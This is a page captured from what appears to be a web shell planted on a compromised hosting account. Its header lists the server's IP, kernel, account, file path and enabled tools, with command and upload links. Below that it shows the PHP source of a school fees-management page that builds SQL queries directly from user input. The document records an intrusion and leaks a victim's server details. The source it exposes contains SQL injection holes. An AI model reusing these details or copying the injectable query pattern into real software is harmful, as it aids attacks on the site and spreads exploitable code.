Server IP : 2a02:4780:3:1378:0:3736:a38e:10 / Your IP : 18.221.201.67 Web Server : LiteSpeed System : Linux sg-nme-web1278.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/public_html/demo/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php // First we execute our common code to connection to the database and start the session require("common.php"); // At the top of the page we check to see whether the user is logged in or not if(!isset($_SESSION['user']) && !isset($_SESSION['Mng_User'])) { // If they are not, we redirect them to the login page. header("Location: login.php"); // Remember that this die statement is absolutely critical. Without it, // people can view your members-only content without logging in. die("Redirecting to login.php"); } // Everything below this point in the file is secured by the login system // We can display the user's username to them by reading it from the session array. Remember that because // a username is user submitted content we must use htmlentities on it before displaying it to the user. ?> <?php include "config/config.php"; if( !isset($_SESSION["h"] ) ){ $_SESSION["h"] = ""; $_SESSION["c"] = ""; $_SESSION["d"] = ""; $_SESSION["h_name"] = ""; } $r=mysqli_query($con,"select * from class"); $r1=mysqli_query($con,"select * from division"); $r2=mysqli_query($con,"select * from head "); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $_SESSION["h"] = $_POST['head']; $_SESSION["c"] = $_POST['Class']; $_SESSION["d"] = $_POST['Division']; $r4=mysqli_query($con,"select * from head where `Head_Id` = '$_SESSION[h]' "); $row4=mysqli_fetch_array($r4); $_SESSION["h_name"] = $row4['Name']; $x=$_SESSION["h"]; $y=$_SESSION["c"]; $z=$_SESSION["d"]; } else { $hh=$_SESSION["h_name"]; $x=$_SESSION["h"]; $y=$_SESSION["c"]; $z=$_SESSION["d"]; } ?> <!DOCTYPE html> <html lang="en"> <head> <!-- start: Meta --> <meta charset="utf-8"> <title>Fees Management</title> <meta name="description" content="Bootstrap Metro Dashboard"> <meta name="author" content="Dennis Ji"> <meta name="keyword" content="Metro, Metro UI, Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina"> <!-- end: Meta --> <!-- start: Mobile Specific --> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- end: Mobile Specific --> <!-- start: CSS --> <link id="bootstrap-style" href="css/bootstrap.min.css" rel="stylesheet"> <link href="css/bootstrap-responsive.min.css" rel="stylesheet"> <link id="base-style" href="css/style.css" rel="stylesheet"> <link id="base-style-responsive" href="css/style-responsive.css" rel="stylesheet"> <link href='http://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&subset=latin,cyrillic-ext,latin-ext' rel='stylesheet' type='text/css'> <!-- end: CSS --> <!-- The HTML5 shim, for IE6-8 support of HTML5 elements --> <!--[if lt IE 9]> <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> <link id="ie-style" href="css/ie.css" rel="stylesheet"> <![endif]--> <!--[if IE 9]> <link id="ie9style" href="css/ie9.css" rel="stylesheet"> <![endif]--> <!-- start: Favicon --> <link rel="shortcut icon" href="img/favicon.ico"> <!-- end: Favicon --> <style type="text/css"> <!-- .style1 { color: #3300CC; font-weight: bold; } .style2 { color: #FF0000; font-weight: bold; } .style4 { color: #CC00FF; font-weight: bold; } --> </style> <style> @media only screen and (max-width: 768px) { .input-xlarge,select { width: 100%!important; } } </style> </head> <body> <!-- start: Header --> <?php include "menu_f.php"; ?> <!-- start: Header --> <div class="container-fluid-full"> <div class="row-fluid"> <!-- start: Main Menu --> <div id="sidebar-left" class="span2"> <div class="nav-collapse sidebar-nav"> <ul class="nav nav-tabs nav-stacked main-menu"> <li><a href="dashboard.php"><i class="icon-bar-chart"></i><span class="hidden-tablet"> Dashboard</span></a></li> <?php include "menu.php"; ?> </ul> </div> </div> <!-- end: Main Menu --> <noscript> <div class="alert alert-block span10"> <h4 class="alert-heading">Warning!</h4> <p>You need to have <a href="http://en.wikipedia.org/wiki/JavaScript" target="_blank">JavaScript</a> enabled to use this site.</p> </div> </noscript> <!-- start: Content --> <div id="content" class="span10"> <ul class="breadcrumb"> <li> <i class="icon-home"></i> <a href="dashboard.php">Home</a> <i class="icon-angle-right"></i> </li> <li><a href="#">Tables</a></li> </ul> <div class="row-fluid sortable"> <div class="box span12"> <div class="box-header" data-original-title> <h2><i class="halflings-icon white user"></i><span class="break"></span>Apply Fees Code</h2> <div class="box-icon"> </div> </div> <div class="box-content" > <form class="form-horizontal" action="" method="post" > <div class="control-group"> <label class="control-label" for="selectError">Class:</label> <div class="controls"> <select id="class" Name="Class" onchange="fun1()" required> <option></option> <?php while($row=mysqli_fetch_array($r)) { ?> <option value="<?php echo $row['Name']; ?>" ><?php echo $row['Name']; ?></option> <?php } ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="selectError">Division:</label> <div class="controls"> <select id="Division" Name="Division" required> <option>All</option> <?php while($row1=mysqli_fetch_array($r1)) { ?> <option value="<?php echo $row1['Name']; ?>" ><?php echo $row1['Name']; ?></option> <?php } ?> </select> </div> </div> <div class="control-group"> <label class="control-label" for="selectError">Fees Code:</label> <div class="controls"> <select id="head" Name="head" onChange="showUser(this.value)" required> <option></option> <?php while($row2=mysqli_fetch_array($r2)) { ?> <option value="<?php echo $row2['Head_Id']; ?>" ><?php echo $row2['Name']; ?></option> <?php } ?> </select> </div> </div> <div class="form-actions"> <button type="submit" class="btn btn-primary">submit</button> </div> </form> </div> </div> </div> <div class="row-fluid sortable"> <div class="box span12"> <div class="box-header" data-original-title> <h2><i class="halflings-icon white user"></i><span class="break"></span>Apply Fees Codes (<?php echo $hh=$_SESSION["h_name"]; ?>) </h2> <div class="box-icon"> </div> </div> <div class="box-content" > <?php if (empty($y)) { } else { $r=mysqli_query($con,"SELECT * FROM `stud_basic` WHERE `Class` = '$y' and (`Division`= '$z' OR '$z'='All') order by Name"); } ?> <form action="Applied_fees_process.php" method="post" > <div class="table-responsive" style="overflow-x:scroll;"> <table id="example" class="table table-striped table-bordered "> <thead> <tr> <th>Name</th> <th>Total / Paid / Balance</th> <th>Class/Div</th> <th>Registred No.</th> <th>Status</th> <th><input type="checkbox" id="select_all"/> Selecct All</th> </tr> </thead> <tbody> <?php while($row=mysqli_fetch_array($r)) { $sid=$row['Stud_Id']; ?> <tr> <td><a href="stud_profile.php?key=<?php echo "$row[Stud_Id]"; ?>"><?php echo "$row[Name]"; ?></a></td> <td> <?php $totalamount=mysqli_query($con,"SELECT SUM(`Total_Amount`) as Total_Amount,SUM(`Paid`) as Paid, SUM(`Balance`) AS Balance from stud_basic2 WHERE `Stud_Id` = '$sid' and `Head_Id` = '$x'"); $totalam=mysqli_fetch_array($totalamount); if($totalam['Total_Amount']>0) { echo $totalam['Total_Amount']." / ".$totalam['Paid']." / ".$totalam['Balance']; } ?> </td> <td class="center"><?php echo "$row[Class]/$row[Division]"; ?></td> <td class="center"><?php echo "$row[Reg_No]"; ?></td> <td class="center"> <?php $check=mysqli_query($con,"SELECT * FROM `stud_basic2` WHERE `Stud_Id` = '$row[Stud_Id]' and `Head_Id` = '$x'"); //echo "SELECT * FROM `stud_basic2` WHERE `Stud_Id` = '$row[Stud_Id]' and `Head_Id` = '$h'"; $num=mysqli_num_rows($check); if($num > 0) { echo "<span class='label label-success'>Applied</span>"; } else { echo "<span class='label label-warning'>Not Applied</span>"; } ?> </td> <td class="center"> <?php if($num == 0) { ?> <input class="checkbox" type="checkbox" name="a[]" value="<?php echo $row['Stud_Id']; ?>" /> <?php } else if($num > 0) { ?> <label><input class="checkbox" type="checkbox" name="a[]" value="<?php echo $row['Stud_Id']; ?>" /> <label class='label label-info'>Re-Applied</label></label> <?php } else {} ?> </td> </tr> <?php } ?> </tbody> </table> </div> <center><input type="submit" onclick="return confirm('Are you sure apply fees ?');"></center> </form> </div> </div> </div> </div> <!--/.fluid-container--> <!-- end: Content --> </div><!--/#content.span10--> </div><!--/fluid-row--> <div class="modal hide fade" id="myModal"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">×</button> <h3>Settings</h3> </div> <div class="modal-body"> <p>Here settings can be configured...</p> </div> <div class="modal-footer"> <a href="#" class="btn" data-dismiss="modal">Close</a> <a href="#" class="btn btn-primary">Save changes</a> </div> </div> <div class="common-modal modal fade" id="common-Modal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-content"> <ul class="list-inline item-details"> <li><a href="http://themifycloud.com">Admin templates</a></li> <li><a href="http://themescloud.org">Bootstrap themes</a></li> </ul> </div> </div> <div class="clearfix"></div> <div class="clearfix"></div> <footer> <p> <span style="text-align:left;float:left">© 2018 <a href="http://evisioninfotech.in" alt="Bootstrap_Metro_Dashboard">e vision infotech</a></span> </p> </footer> <script> function fun1() { document.getElementById("Division").disabled = false; } function fun2() { document.getElementById("head").disabled=false; } </script> <script> </script> <!-- end: JavaScript--> <script src="js/jquery-1.9.1.min.js"></script> <script src="js/jquery-migrate-1.0.0.min.js"></script> <script src="js/jquery-ui-1.10.0.custom.min.js"></script> <script src="js/jquery.ui.touch-punch.js"></script> <script src="js/modernizr.js"></script> <script src="js/bootstrap.min.js"></script> <script src="js/jquery.cookie.js"></script> <script src='js/fullcalendar.min.js'></script> <script src='js/jquery.dataTables.min.js'></script> <script src="js/excanvas.js"></script> <script src="js/jquery.flot.js"></script> <script src="js/jquery.flot.pie.js"></script> <script src="js/jquery.flot.stack.js"></script> <script src="js/jquery.flot.resize.min.js"></script> <script src="js/jquery.chosen.min.js"></script> <script src="js/jquery.uniform.min.js"></script> <script src="js/jquery.cleditor.min.js"></script> <script src="js/jquery.noty.js"></script> <script src="js/jquery.elfinder.min.js"></script> <script src="js/jquery.raty.min.js"></script> <script src="js/jquery.iphone.toggle.js"></script> <script src="js/jquery.uploadify-3.1.min.js"></script> <script src="js/jquery.gritter.min.js"></script> <script src="js/jquery.imagesloaded.js"></script> <script src="js/jquery.masonry.min.js"></script> <script src="js/jquery.knob.modified.js"></script> <script src="js/jquery.sparkline.min.js"></script> <script src="js/counter.js"></script> <script src="js/retina.js"></script> <script src="js/custom.js"></script> <script src="js9/fastclick.js"></script> <script src="js/easyscroll.js"></script> <script> $("#select_all").change(function(){ var status = $(this).prop("checked"); $('.checkbox').each(function(){ $(this).prop("checked",status); if(status) { $(this).parents("span").addClass("checked"); } else { $(this).parents("span").removeClass("checked"); } }); }); $.fn.dataTable.ext.errMode = 'none'; $(document).ready(function() { $('#example').DataTable( { dom: 'Bfrtip', "bPaginate": false, } ); } ); $('.checkbox').change(function(){ if($(this).prop("checked") == false){ $("#select_all").prop("checked",false); $("#select_all").parents("span").removeClass("checked"); } if ($('.checkbox:checked').length ==$('.checkbox').length ){ $("#select_all").prop("checked",true); $("#select_all").parents("span").addClass("checked"); } }); </script> </body> </html>